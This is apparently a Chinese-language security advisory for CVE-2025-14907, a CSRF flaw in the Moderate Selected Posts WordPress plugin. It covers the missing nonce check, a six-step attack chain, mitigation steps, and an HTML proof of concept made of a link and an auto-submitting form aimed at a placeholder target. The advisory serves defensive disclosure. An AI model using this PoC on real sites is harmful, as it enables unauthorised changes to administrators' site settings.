CVE-2025-14907 CVSS 4.3 中危

CVE-2025-14907 WordPress Moderate Selected Posts插件CSRF漏洞

披露日期: 2026-01-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-14907

漏洞类型

CSRF跨站请求伪造

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Moderate Selected Posts WordPress插件

漏洞概述

CVE-2025-14907是WordPress Moderate Selected Posts插件中的一个跨站请求伪造（CSRF）漏洞。该插件用于管理WordPress网站的内容审核功能。漏洞源于msp_admin_page()函数缺少CSRF令牌（nonce）验证机制。攻击者可以通过构造恶意链接，诱骗已登录的网站管理员点击，从而在不知情的情况下修改插件设置。由于该漏洞不需要认证，攻击者可以在管理员不知情的情况下执行未经授权的操作，影响网站的配置和内容审核行为。此漏洞在2026年1月24日被披露，CVSS评分为4.3，属于中等严重程度。

技术细节

该漏洞存在于Moderate Selected Posts插件的admin.php文件第71行的msp_admin_page()函数中。该函数负责处理插件的管理后台设置页面，但由于缺少wp_nonce_field()或wp_verify_nonce()等CSRF保护机制，攻击者可以构造恶意请求来修改插件配置。攻击者需要诱骗管理员点击特制的链接，该链接包含修改插件设置的参数。由于浏览器在发起请求时会自动携带目标网站的Cookie，服务器无法区分请求是来自合法操作还是恶意伪造。攻击者可以利用此漏洞修改插件的审核规则、启用/禁用特定功能或更改其他设置，对网站的正常运营造成影响。

攻击链分析

STEP 1

步骤1

攻击者发现目标网站使用Moderate Selected Posts插件（版本<=1.4）

STEP 2

步骤2

攻击者构造包含恶意参数的CSRF攻击载荷

STEP 3

步骤3

攻击者通过钓鱼邮件、社交工程等方式诱骗网站管理员点击恶意链接

STEP 4

步骤4

管理员浏览器自动向目标网站发送请求，携带有效的管理员Cookie

STEP 5

步骤5

服务器因缺少nonce验证而接受请求，执行攻击者指定的操作

STEP 6

步骤6

插件设置被恶意修改，攻击者达到篡改配置或破坏网站功能的目的

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-14907 -->
<!--诱骗管理员点击此链接以修改插件设置-->
<a href='http://target-site.com/wp-admin/admin.php?page=moderate-selected-posts&action=msp_save_settings&msp_option=value'>Click here</a>

<!-- 或者使用自动提交的表单 -->
<html>
<body>
<form action='http://target-site.com/wp-admin/admin.php?page=moderate-selected-posts' method='POST'>
  <input type='hidden' name='action' value='msp_save_settings' />
  <input type='hidden' name='msp_option' value='malicious_value' />
  <input type='submit' value='Submit' />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

影响范围

Moderate Selected Posts插件 <= 1.4（所有版本）

防御指南

临时缓解措施

在等待官方修复期间，可采取以下临时措施：1）临时禁用Moderate Selected Posts插件；2）加强对管理员账户的安全意识培训，提醒不要点击可疑链接；3）使用Web应用防火墙（WAF）监控异常请求；4）限制管理员后台访问IP范围；5）考虑使用其他具有CSRF保护的内容审核插件替代。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表